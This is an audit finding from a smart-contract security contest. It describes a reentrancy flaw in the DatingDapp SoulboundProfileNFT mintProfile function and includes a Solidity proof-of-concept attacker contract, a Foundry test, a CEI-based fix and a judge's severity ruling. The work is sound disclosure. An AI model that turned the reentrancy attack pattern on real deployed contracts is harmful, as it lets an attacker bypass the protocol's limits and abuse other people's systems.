DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy Attack in `SoulboundProfileNFT::mintProfile` allows user to mint unlimited NFT.

Description:

The mintProfile function in the SoulboundProfileNFT contract is vulnerable to a reentrancy attack. This Attack vector possible because the function calls _safeMint, which invokes an external call to onERC721Received before updating the contract’s state variables (SoulboundProfileNFT::profileToToken). This violates the Checks-Effects-Interactions (CEI) pattern, allowing an attacker to re-enter the contract and mint multiple NFTs for the same address.

Impact: An attacker can exploit this vulnerability to mint unlimited soulbound NFTs from one malicious contract, which breaks the intended one-profile-per-user restriction.

Proof of Concept:

Add this Interface and Contract to testSoulboundProfileNFT.t.sol

interface ISoulboundNFT {
function mintProfile(
string memory name,
uint8 age,
string memory profileImage
) external;
}
contract MintAttack is IERC721Receiver {
ISoulboundNFT public targetContract;
uint256 public reentrancyCount;
constructor(address _targetContract) {
targetContract = ISoulboundNFT(_targetContract);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
// Reentrancy attack: Call mintProfile again
if (reentrancyCount < 1) {
reentrancyCount++;
targetContract.mintProfile("Attacker", 30, "ipfs://attackerImage");
}
return IERC721Receiver.onERC721Received.selector; // returns 0x150b7a02
}
function attack() public {
targetContract.mintProfile("Alice", 25, "ipfs://profileImage");
}
}

after that, add this test function to testSoulboundProfileNFT.t.sol

function test_SafeMintReentrancy() public {
mintAttack = new MintAttack(address(soulboundNFT));
vm.prank(address(this));
mintAttack.attack();
}

Recommended Mitigation:

To prevent reentrancy, apply the Checks-Effects-Interactions(CEI) pattern by updating the contract’s state variables before calling _safeMint.
Additionally, consider using the ReentrancyGuard modifier from OpenZeppelin to add an extra layer of security against reentrancy attacks.

function mintProfile(
string memory name,
uint8 age,
string memory profileImage
) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
+ _safeMint(msg.sender, tokenId);
}
Updates

Appeal created

n0kto Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.